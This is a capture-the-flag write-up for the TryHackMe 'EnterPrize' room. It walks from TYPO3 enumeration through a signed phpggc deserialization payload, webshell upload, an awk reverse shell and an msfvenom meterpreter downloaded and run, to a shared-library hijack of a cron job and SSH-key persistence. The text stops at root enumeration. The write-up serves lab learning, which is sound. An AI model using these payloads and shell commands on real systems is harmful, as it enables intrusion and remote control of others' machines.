Information
Room
Name: EnterPrize
Profile: tryhackme.com
Difficulty: Hard
Description : Can you hack your way in?
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap feroxbuster ffuf whatweb weevely phpggc metasploit
Network enumeration
Add a local domain to the host:
$ grep enterprize /etc/hosts
10.10.161.131 enterprize.thm
Port and service scan with nmap:
# Nmap 7.92 scan initiated Sun Mar 6 16:53:33 2022 as: nmap -sSVC -p- -v -oA nmap_full enterprize.thm
Nmap scan report for enterprize.thm (10.10.161.131)
Host is up (0.038s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 67:c0:57:34:91:94:be:da:4c:fd:92:f2:09:9d:36:8b (RSA)
| 256 13:ed:d6:6f:ea:b4:5b:87:46:91:6b:cc:58:4d:75:11 (ECDSA)
|_ 256 25:51:84:fd:ef:61:72:c6:9d:fa:56:5f:14:a1:6f:90 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Blank Page
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
443/tcp closed https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 6 16:57:04 2022 -- 1 IP address (1 host up) scanned in 211.02 seconds
Web discovery
The homepage http://enterprize.thm/ is empty and only displays:
Nothing to see here.
Web enumeration
Not really any sub-folder:
$ feroxbuster -u http://enterprize.thm/
...
403 7l 20w 199c http://enterprize.thm/var
403 7l 20w 199c http://enterprize.thm/public
403 7l 20w 199c http://enterprize.thm/vendor
403 7l 20w 199c http://enterprize.thm/server-status
The large RAFT life list didn't find any file:
$ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -C 403
200 1l 5w 85c http://enterprize.thm/index.html
200 1l 5w 85c http://enterprize.thm/
So let's use the quickhits.txt
list.
$ feroxbuster -u http://enterprize.thm/ -q -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -C 403
200 20l 39w 589c http://enterprize.thm/composer.json
Scanning: http://enterprize.thm/
Scanning: http://enterprize.thm/server-status/
Scanning: http://enterprize.thm/var/backups/
Scanning: http://enterprize.thm/var/logs/
Scanning: http://enterprize.thm/var/log/
There is a composer.json
, a file listing installed PHP packages.
$ curl http://enterprize.thm/composer.json -s | jq
{
"name": "superhero1/enterprize",
"description": "THM room EnterPrize",
"type": "project",
"require": {
"typo3/cms-core": "^9.5",
"guzzlehttp/guzzle": "~6.3.3",
"guzzlehttp/psr7": "~1.4.2",
"typo3/cms-install": "^9.5",
"typo3/cms-backend": "^9.5",
"typo3/cms-extbase": "^9.5",
"typo3/cms-extensionmanager": "^9.5",
"typo3/cms-frontend": "^9.5",
"typo3/cms-introduction": "^4.0"
},
"license": "GPL",
"minimum-stability": "stable"
}
Typo3 is an open-source CMS.
Here it is installed in 9.5 version, let's check the install documentation
in that version.
Here is the fresh installed tree reported in the documentation:
.
├── .gitignore
├── composer.json
├── composer.lock
├── LICENSE
├── public
├── README.md
├── var
└── vendor
But we can't find any other file. Maybe the website is server via another subdomain.
Let's try virtual server enumeration, there is a subdomain returning a 503 status code:
$ ffuf -u 'http://enterprize.thm/' -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.enterprize.thm' -fs 85 -mc all
...
maintest [Status: 503, Size: 1713, Words: 110, Lines: 47, Duration: 45ms]
Let's add the subdomain to the host file:
$ grep enterprize /etc/hosts
10.10.161.131 enterprize.thm maintest.enterprize.thm
whatweb
is able identify the exact version:
$ whatweb http://maintest.enterprize.thm --plugins typo3 --aggression 3
http://maintest.enterprize.thm [200 OK] TYPO3[9.5.22]
Knowing it is in 9.5.22 version is nice but not very helpful, we would like
to enumerate extensions, users, vulnerabilities, like wpscan does for wordpress
... of course there is Typo3Scan .
Let's temporary install it in a virtual environment.
$ cd /tmp
$ git clone https://github.com/whoot/Typo3Scan.git
$ cd Typo3Scan
$ python -m venv venv
$ source venv/bin/activate
$ python -m pip install -r requirements.txt
First update the extension and vulnerability database, then launch a scan:
$ python typo3scan.py -u
$ python typo3scan.py -d http://maintest.enterprize.thm
Note: Typo3Scan can't find the exact version (9.5.x) which is a pity for a Typo3 focused tool while WhatWeb was able to.
As Typo3Scan failed to detect the exact version it offers lo list all vulnerabilities
for 9.5 and we will have to filter the relevant vulnerabilities manually for 9.5.22.
...
[!] TYPO3-CORE-SA-2020-011
├ Vulnerability Type: Sensitive Data Exposure
├ Subcomponent: Session Storage (ext:core)
├ Affected Versions: 9.5.22 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2020-011
[!] TYPO3-CORE-SA-2020-010
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Fluid (ext:fluid)
├ Affected Versions: 9.5.22 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2020-010
[!] TYPO3-CORE-SA-2020-009
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Fluid Engine (package typo3fluid/fluid)
├ Affected Versions: 9.5.22 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2020-009
...
[!] TYPO3-CORE-SA-2021-006
├ Vulnerability Type: Sensitive Data Exposure
├ Subcomponent: Session Storage (ext:core)
├ Affected Versions: 9.5.24 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-006
[!] TYPO3-CORE-SA-2021-005
├ Vulnerability Type: Denial of Service
├ Subcomponent: Page Error Handling (ext:core, ext:frontend)
├ Affected Versions: 9.5.24 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-005
[!] TYPO3-CORE-SA-2021-003
├ Vulnerability Type: Broken Access Control
├ Subcomponent: Form Framework (ext:form)
├ Affected Versions: 9.5.24 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-003
[!] TYPO3-CORE-SA-2021-002
├ Vulnerability Type: Unrestricted File Upload
├ Subcomponent: Form Framework (ext:form)
├ Affected Versions: 9.5.24 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-002
[!] TYPO3-CORE-SA-2021-001
├ Vulnerability Type: Open Redirection
├ Subcomponent: Login Handling (ext:core)
├ Affected Versions: 9.5.24 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-001
[!] TYPO3-CORE-SA-2021-013
├ Vulnerability Type: Cross-Site-Scripting
├ Subcomponent: Content Rendering, HTML Parser (ext:frontend, ext:core)
├ Affected Versions: 9.5.28 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-013
[!] TYPO3-CORE-SA-2021-012
├ Vulnerability Type: Information Disclosure
├ Subcomponent: User Authentication (ext:core)
├ Affected Versions: 9.5.27 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-012
[!] TYPO3-CORE-SA-2021-011
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Backend Grid View (ext:backend)
├ Affected Versions: 9.5.27 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-011
[!] TYPO3-CORE-SA-2021-010
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Query Generator & Query View (ext:lowlevel, ext:core)
├ Affected Versions: 9.5.27 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-010
[!] TYPO3-CORE-SA-2021-009
├ Vulnerability Type: Cross-Site Scripting
├ Subcomponent: Page Preview (ext:viewpage)
├ Affected Versions: 9.5.27 - 9.0.0
â”” Advisory URL: https://typo3.org/security/advisory/typo3-core-sa-2021-009
Also it found 2 extensions:
[+] Extension Information
-------------------------
[+] bootstrap_package
├ Extension Title: Bootstrap Package
├ Extension Repo: https://extensions.typo3.org/extension/bootstrap_package
├ Extension Url: http://maintest.enterprize.thm/typo3conf/ext/bootstrap_package
├ Current Version: 12.0.4 (stable)
├ Identified Version: 10.0.9
├ Version File: http://maintest.enterprize.thm/typo3conf/ext/bootstrap_package/CHANGELOG.md
â”” Known Vulnerabilities:
[!] TYPO3-EXT-SA-2021-007
├ Vulnerability Type: Cross-Site Scripting
├ Affected Versions: 10.0.9 - 10.0.0
â”” Advisory Url: https://typo3.org/security/advisory/typo3-ext-sa-2021-007
[+] introduction
├ Extension Title: The Official TYPO3 Introduction Package
├ Extension Repo: https://extensions.typo3.org/extension/introduction
├ Extension Url: http://maintest.enterprize.thm/typo3conf/ext/introduction
├ Current Version: 4.4.1 (stable)
â”” Identified Version: -unknown-
TYPO3-CORE-SA-2021-002
file upload doesn't need authentication but won't work for .php
or .htaccess
as stated in the advisory.
TYPO3-CORE-SA-2021-012
says that user credentials have been logged as plaintext when explicitly using log level debug (non-default).
It doesn't seem we will be able to exploit a vulnerability as is.
Let's go back to enumeration then.
$ ffuf -u 'http://maintest.enterprize.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fs 196
...
typo3 [Status: 301, Size: 245, Words: 14, Lines: 8, Duration: 24ms]
fileadmin [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 23ms]
typo3conf [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 24ms]
typo3temp [Status: 301, Size: 249, Words: 14, Lines: 8, Duration: 23ms]
server-status [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 24ms]
[Status: 503, Size: 1713, Words: 110, Lines: 47, Duration: 39ms]
Note: at some point the application crashes and returns 503 status code.
It seems that directory listing is enabled, so we can list the content of
fileadmin
or typo3conf
folders.
In http://maintest.enterprize.thm/typo3conf/ we can find an old config
file renamed with the .old
extension: LocalConfiguration.old
.
In this configuration file we can read:
installToolPassword
that has been removed
the database password that may have been replaced
the system encryptionKey
By searching the two keywords typo3 encryptionKey
in attackerKB
we find CVE-2020-15099 .
We didn't find it early with Typo3Scan because TYPO3-CORE-SA-2020-007
says affected versions are from 9.0.0 to 9.5.19.
With encryptionKey
we should be able to create
an administration user account – which can be used to trigger remote code execution by injecting custom extensions.
according to the CVE.
Searching the same keywords on a search engine leads to SynAcktiv article
on how to exploit it.
Web exploitation
The previous article explains how a deserialization vulnerability occurs in
the forwardToReferringRequest()
function of Typo3. This function is called
when a form is sent to the server.
By navigating the website menu we can find a page with a form:
http://maintest.enterprize.thm/index.php?id=38
The leaked encryptionKey
allows us to compute a valid HMAC to pass the
signature check.
Then we need a gadget to exploit the PHP deserialization, as in the article
we can see the composer.json
includes a guzzle
dependency:
"guzzlehttp/guzzle" : "~6.3.3" ,
Hopefully phpggc already includes a guzzle gadget chain.
We have all the ingredients we need for our deserialization recipe!
We'll stat by generating a fancy webshell with weevely.
$ weevely generate norajpass noraj-agent.php
Generated 'noraj-agent.php' with password 'norajpass' of 751 byte size.
Then we'll need to fetch phpggc:
$ git clone https://github.com/ambionics/phpggc
$ cd phpggc
There are different Guzzle gadgets, for more persistence we'll choose the file
write one to write oru webshell.
$ ./phpggc -l Guzzle
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
$ ./phpggc -i Guzzle/FW1
Name : Guzzle/FW1
Version : 6.0.0 <= 6.3.3+
Type : File write
Vector : __destruct
./phpggc Guzzle/FW1 <remote_path> <local_path>
We can probably write into /fileadmin/_temp_/
or /fileadmin/user_upload/
on
the remote machine.
$ ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt
Before generating the HMAc we need to know which algorithm is used but the article doesn't say it.
The quick and dirty way to find it is to analyse the signature generated in the article
and guess it.
$ haiti 1337e758b27ba8f6f8eabcaa02afd8e885381337
SHA-1 [HC: 100] [JtR: raw-sha1]
RIPEMD-160 [HC: 6000] [JtR: ripemd-160]
Double SHA-1 [HC: 4500]
Haval-160 (3 rounds) [JtR: dynamic_190]
Haval-160 (4 rounds) [JtR: dynamic_200]
Haval-160 (5 rounds) [JtR: dynamic_210]
Tiger-160
HAS-160
LinkedIn [HC: 190] [JtR: raw-sha1-linkedin]
Skein-256(160)
Skein-512(160)
Ruby on Rails Restful Auth (one round, no sitekey) [HC: 27200]
MySQL5.x [HC: 300] [JtR: mysql-sha1]
MySQL4.1 [HC: 300] [JtR: mysql-sha1]
Umbraco HMAC-SHA1 [HC: 24800]
With the help fo haiti we could probably say it is SHA1.
But the only way to know for sure is the long and smart way: code review.
We know the validateAndStripHmac
function is called to validate the hash, so let's find it
in the code. By using github search engine I quickly found it is defined
in /typo3/sysext/extbase/Classes/Security/Cryptography/HashService.php
. Now we need
to set a vulnerable version back from that time: 9.5.19.
validateAndStripHmac
is defined here :
public function validateAndStripHmac ( $string )
{
if ( !is_string ( $string )) {
throw new \TYPO3\CMS\Extbase\Security\Exception\ InvalidArgumentForHashGenerationException ( 'A hash can only be validated for a string, but "' . gettype ( $string ) . '" was given.' , 1320829762 );
}
if ( strlen ( $string ) < 40 ) {
throw new \TYPO3\CMS\Extbase\Security\Exception\ InvalidArgumentForHashGenerationException ( 'A hashed string must contain at least 40 characters, the given string was only ' . strlen ( $string ) . ' characters long.' , 1320830276 );
}
$stringWithoutHmac = substr ( $string , 0 , - 40 );
if ( $this -> validateHmac ( $stringWithoutHmac , substr ( $string , - 40 )) !== true ) {
throw new \TYPO3\CMS\Extbase\Security\Exception\ InvalidHashException ( 'The given string was not appended with a valid HMAC.' , 1320830018 );
}
return $stringWithoutHmac ;
}
It does some checks and strips then call validateHmac
which is a few line above .
public function validateHmac ( $string , $hmac )
{
return hash_equals ( $this -> generateHmac ( $string ), $hmac );
}
It only compares the provided hash is equal to the generated one by generateHmac
:
public function generateHmac ( $string )
{
if ( !is_string ( $string )) {
throw new \TYPO3\CMS\Extbase\Security\Exception\ InvalidArgumentForHashGenerationException ( 'A hash can only be generated for a string, but "' . gettype ( $string ) . '" was given.' , 1255069587 );
}
$encryptionKey = $GLOBALS [ 'TYPO3_CONF_VARS' ][ 'SYS' ][ 'encryptionKey' ];
if ( ! $encryptionKey ) {
throw new \TYPO3\CMS\Extbase\Security\Exception\ InvalidArgumentForHashGenerationException ( 'Encryption Key was empty!' , 1255069597 );
}
return hash_hmac ( 'sha1' , $string , $encryptionKey );
}
There we can see sha1 is used, without guessing.
Now we have several way of computing the HMAC.
We can use PHP hash_hmac
native function.
< ? php
$sig = hash_hmac ( 'sha1' , $argv [ 1 ], "71<encryptionKey_edited>0b" );
print ( $sig );
? >
$ php hmac.php $(cat ./phpggc/serialized_payload.txt)
7c2b7a0949ec730afe7bb908ff2df85973e3a725
There is a linux binary hmac256
from libgcrypt
but it works onlmy for SHA256:
$ hmac256 71<encryptionKey_edited>0b phpggc/serialized_payload.txt
bde6c9cc6c955432791f97803cb1d8edc827fae1b34c70eaca1e19f54e3cd7dc phpggc/serialized_payload.txt
For sha1 we need to use openssl:
$ cat phpggc/serialized_payload.txt| openssl dgst -sha1 -hmac '71<encryptionKey_edited>0b'
(stdin)= 7c2b7a0949ec730afe7bb908ff2df85973e3a725
We can also use a small ruby script:
require 'openssl'
sig = OpenSSL :: HMAC .hexdigest( "SHA1" , '71<encryptionKey_edited>0b' , File .read( ARGV [ 0 ]))
puts sig
$ ruby hmac.rb phpggc/serialized_payload.txt
7c2b7a0949ec730afe7bb908ff2df85973e3a725
The final payload just need to be the concatenation of the base64 encoded
serialized webshell and the SHA1 HMAC signature.
That's why validateAndStripHmac
stip all but the last 40 chars (SHA1 is 40
chars long).
YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjc1MToiPD9waHAKJGQ9JyRrPUdSIjNjR1JiMThlZmMiOyRrR1JHUmg9IjBmR1I0OTdjODNmR1JHUmQxYiI7JGtmPUdSIjNjNzA1Y2JiZTg4ZSI7JEdScD0iR1JsVVNYN0dSWHpvTHNRR1IyOENTSyI7ZnVuY0dSdGlvR1JuIHgoJHRHUkcnOwokRT1zdHJfcmVwbGFjZSgncFInLCcnLCdjcnBScFJwUmVhcFJ0ZV9wUmZ1bnBSY3Rpb24nKTsKJFU9J1IsR1Ikayl7JGM9c3RybGVuKCRrR1JHUik7JGw9c3RybGVuR1IoJHQpO0dSJG89IiI7Zm9HUnIoR1IkaUdSPTA7JGk8R1IkbDspe2ZvcihHUiRHUmo9MDsoJGo8JGMmJiRpPEdSJGwpR1I7JGorKywkaSsrKXskJzsKJGU9J1JwdXQiKSwkR1JtR1IpPT1HUjEpR1Ige0BvYl9zdGFydEdSKCk7QGV2YUdSbChAZ0dSenVuY29tcEdScmVzcyhAR1J4KEdSQGJHUmFzZTY0X2RHUmVjb2RlKCRtWzFdKSwkaykpKUdSOyRvPUBvYkdSX2dldF8nOwokUz0nby49R1IkdEdSeyRpfV4ka3skan1HUjtHUn19R1JyZXRHUnVybiAkbzt9aWYgR1IoQHByZWdfR1JtYUdSdGNoKCIvJGtoR1IoLkdSR1IrKSRrZi8iLEBmaWxlX2dldF9jb25HUnRlbnRzR1IoInBoR1JwOi8vaW5HJzsKJGc9J0dSY29udGVudHMoKTtAR1JvYl9lbkdSZEdSX0dSY2xlYW4oKTskcj1HUkBiYXNHUmU2NF9lbkdSY29kR1JlKEB4KEBnR1J6Y0dSb21wR1JyZXNzKCRvKSwkR1JrKSk7cHJpbkdSdCgiJHAka2gkciRrZiIpO30nOwokVz1zdHJfcmVwbGFjZSgnR1InLCcnLCRkLiRVLiRTLiRlLiRnKTsKJHM9JEUoJycsJFcpOyRzKCk7Cj8+CiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO3M6NDE6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAGZpbGVuYW1lIjtzOjUzOiIvdmFyL3d3dy9odG1sL3B1YmxpYy9maWxlYWRtaW4vX3RlbXBfL25vcmFqLWFnZW50LnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO31pOjc7aTo3O30=7c2b7a0949ec730afe7bb908ff2df85973e3a725
Then fill the form with whatever values you want, intercept the request.
Now we need to replace the field tx_form_formframework[contactForm-144][__state]
value with our payload.
Right now my paylaod is failing, the webshell was not uploaded.
I guess my PHP version is too recent:
$ php --version
PHP 8.1.3 (cli) (built: Feb 16 2022 13:27:56) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.1.3, Copyright (c) Zend Technologies
Typo3 9 requires a version of PHP between
7.2 and 7.4.
$ pikaur -S php74 php74-cli
$ php74 --version
PHP 7.4.28 (cli) (built: Mar 8 2022 00:38:22) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
So let's try again with PHP 7.4 (diffing the output of phpggc
I saw there was a difference).
$ php74 ./phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php ../noraj-agent.php > serialized_payload.txt
$ ruby hmac.rb phpggc/serialized_payload.txt
3ff24aebfecbd135ed2f71199af38fb186d2485f
Failing again, the webshell was not uploaded. And if it was the weevely webshell that wasn't serializing correctly?
Let's try a simpler webshell.
< ? php $output = system ( $_GET [ 1 ]); echo $output ; ? >
Failing again, the webshell was not uploaded.
So I stole a payload from another writeup to be able to to RCE and used it
find the PHP version to avoid retrying the same process with many PHP versions.
For some reason /usr/bin/php --version
was not working so
I ran ls -lh /usr/bin | grep php
to see what's going on:
lrwxrwxrwx 1 root root 21 Jan 3 2021 php -> /etc/alternatives/php
-rwxr-xr-x+ 1 root root 4.7M Oct 7 2020 php7.2
ls -lh /etc/alternatives/php
lrwxrwxrwx 1 root root 15 Jan 3 2021 /etc/alternatives/php -> /usr/bin/php7.2
So it seems the server is using PHP 7.2.X. Of course we need the same version to
have a valid serialized payload.
The challenge was easier when released as PHP version 7.2 was the latest
available on Ubuntu LTS at that time so people just used
phpggc without questionning while now identifying the PHP version on the
server is difficult as it doesn't leak in HTTP header. Also compiling and
installing previous version of PHP can be challenging and time consuming.
So now that I know that I need to use PHP 7.2 I'll use a docker image.
$ sudo docker pull php:7.2-cli
$ sudo docker run -it php:7.2-cli php --version
PHP 7.2.34 (cli) (built: Dec 11 2020 10:44:02) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
$ sudo docker run -it -v "$PWD":/usr/src/myapp -w /usr/src/myapp php:7.2-cli php phpggc/phpggc --base64 --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/noraj-agent.php noraj-agent.php
$ ruby hmac.rb serialized_payload.txt
c8d24d24773e404c6f353bdfef371ce471e320c8
This time it works, my webshell was uploaded!
Unfortunately weevely
can't connect but now that uploads work we can upload
a more classic PHP webshell.
$ weevely terminal http://maintest.enterprize.thm/fileadmin/_temp_/noraj-agent.php norajpass
[+] weevely 4.0.1
[+] Target: maintest.enterprize.thm
[+] Session: /home/noraj/.weevely/sessions/maintest.enterprize.thm/noraj-agent_1.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> id
Backdoor communication failed, check URL availability and password
From webshell to reverse shell
Running the id
we can see we are in the blocked group.
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked) uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)
Most binaries are blocked or not available, the only one I found working
from https://www.revshells.com/ was the awk one.
awk 'BEGIN {s = "/inet/tcp/0/10.9.19.77/9999"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
GET /fileadmin/_temp_/inject.php?1=%61%77%6b%20%27%42%45%47%49%4e%20%7b%73%20%3d%20%22%2f%69%6e%65%74%2f%74%63%70%2f%30%2f%31%30%2e%39%2e%31%39%2e%37%37%2f9999%22%3b%20%77%68%69%6c%65%28%34%32%29%20%7b%20%64%6f%7b%20%70%72%69%6e%74%66%20%22%73%68%65%6c%6c%3e%22%20%7c%26%20%73%3b%20%73%20%7c%26%20%67%65%74%6c%69%6e%65%20%63%3b%20%69%66%28%63%29%7b%20%77%68%69%6c%65%20%28%28%63%20%7c%26%20%67%65%74%6c%69%6e%65%29%20%3e%20%30%29%20%70%72%69%6e%74%20%24%30%20%7c%26%20%73%3b%20%63%6c%6f%73%65%28%63%29%3b%20%7d%20%7d%20%77%68%69%6c%65%28%63%20%21%3d%20%22%65%78%69%74%22%29%20%63%6c%6f%73%65%28%73%29%3b%20%7d%7d%27%20%2f%64%65%76%2f%6e%75%6c%6c HTTP / 1.1
Host : maintest.enterprize.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Connection : close
Cookie : fe_typo_user=aea48c6f6e1ab39c393bf12f6e25c367; cookieconsent_status=dismiss
Upgrade-Insecure-Requests : 1
Cache-Control : max-age=0
$ ncat -lvnp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.29.248.
Ncat: Connection from 10.10.29.248:43931.
shell>id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)
Upgrade reverse shell
As we have a limited shell we can upload a meterpreter reverse shell.
Craft the meterpreter:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.9.19.77 LPORT=8888 -f elf -o reverse.elf
Start a one-line HTP server:
$ ruby -run -ehttpd . -p8000
Download and execute it:
shell>wget http://10.9.19.77:8000/reverse.elf
shell>chmod u+x reverse.elf
shell>./reverse.elf
Receive the connection:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.9.19.77:8888
[*] Sending stage (3020772 bytes) to 10.10.29.248
[*] Meterpreter session 1 opened (10.9.19.77:8888 -> 10.10.29.248:33650 ) at 2022-03-12 18:50:57 +0100
meterpreter >
Elevation of Prevelege (EoP): from www-data to john
We'll have to get hohn's permissions to read user.txt
flag.
$ ls -lh /home/john
total 8.0K
drwxrwxrwt 2 john john 4.0K Jan 3 2021 develop
-r-------- 1 john john 38 Jan 3 2021 user.txt
$ ls -lh /home/john/develop
total 24K
-r-xr-xr-x 1 john john 17K Jan 2 2021 myapp
-rw-rw-r-- 1 john john 44 Mar 12 17:58 result.txt
$ ls -lh /home/john/develop/myapp
$ ls -lh /home/john/develop/myapp
-r-xr-xr-x 1 john john 17K Jan 2 2021 /home/john/develop/myapp
Let's check the libraries loaded:
$ ldd /home/john/develop/myapp
linux-vdso.so.1 (0x00007fff2b16b000)
libcustom.so => /usr/lib/libcustom.so (0x00007eff32e00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff327f8000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff32be9000)
Let's check the ld.so
configuration to see how shared libraries are loaded.
$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
$ ls -lh /etc/ld.so.conf.d/
total 8.0K
-rw-r--r-- 1 root root 44 Jan 27 2016 libc.conf
lrwxrwxrwx 1 root root 28 Jan 3 2021 x86_64-libc.conf -> /home/john/develop/test.conf
-rw-r--r-- 1 root root 100 Apr 16 2018 x86_64-linux-gnu.conf
x86_64-libc.conf
is a symlink to /home/john/develop/test.conf
where we can write.
With ltrace
we can see the function do_ping
is called:
$ ltrace ./myapp
puts("Welcome to my pinging applicatio"...) = 35
do_ping(0x7fa6aa1e8760, 0x5629ee9dd008, 0x7fa6aa1e98c0, 0x5629ee9dd02a) = 9
Welcome to my pinging application!
Test...
+++ exited (status 0) +++
do_ping
must be loaded from libcustom.so
.
Let's upload pspy to see if there is a cron job.
On host:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
ruby -run -ehttpd . -p8000
On target:
wget http://10.9.19.77:8000/pspy64
chmod u+x pspy64
We can observe this:
2022/03/12 18:56:01 CMD: UID=0 PID=3713 | /usr/sbin/CRON -f
2022/03/12 18:56:01 CMD: UID=0 PID=3712 | /usr/sbin/CRON -f
2022/03/12 18:56:01 CMD: UID=0 PID=3715 | /bin/sh -c /sbin/ldconfig
2022/03/12 18:56:01 CMD: UID=1000 PID=3714 | /bin/sh -c /home/john/develop/myapp > /home/john/develop/result.txt
2022/03/12 18:56:02 CMD: UID=1000 PID=3717 | /home/john/develop/myapp
2022/03/12 18:56:02 CMD: UID=0 PID=3716 | /sbin/ldconfig.real
So there is a cron job where john launchs the binary.
I'll make my lib launch a meterpreter.
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void do_ping (){
system ( "/var/www/html/public/fileadmin/_temp_/reverse_john.elf" , NULL , NULL );
}
Then compile the lib on our machine and upload it.
$ gcc -shared -o libcustom.so -fPIC libcustom.c
On the target, create the LD config file and copy the bad lib.
$ cd /home/john/develop
$ mv /var/www/html/public/fileadmin/_temp_/libcustom.so .
$ echo '/home/john/develop' > /home/john/develop/test.conf
Just waiting 2 minutes I received a connection:
msf6 exploit(multi/handler) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux www-data @ 10.10.29.248 10.9.19.77:8888 -> 10.10.29.248:33650 (10.10.29.248)
2 meterpreter x64/linux john @ 10.10.29.248 10.9.19.77:7777 -> 10.10.29.248:44638 (10.10.29.248)
$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)
$ cat user.txt
THM{edited}
Persitence
Let's create a SSH access with our public key.
$ mkdir ~/.ssh
$ echo "YOUR_KEY_HERE" > /home/john/.ssh/authorized_keys
Then we can connect to the host:
$ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm
Elevation of Prevelege (EoP): from john to root
john@enterprize:~$ ss -nlpt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:34119 0.0.0.0:*
LISTEN 0 128 0.0.0.0:50313 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:111 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
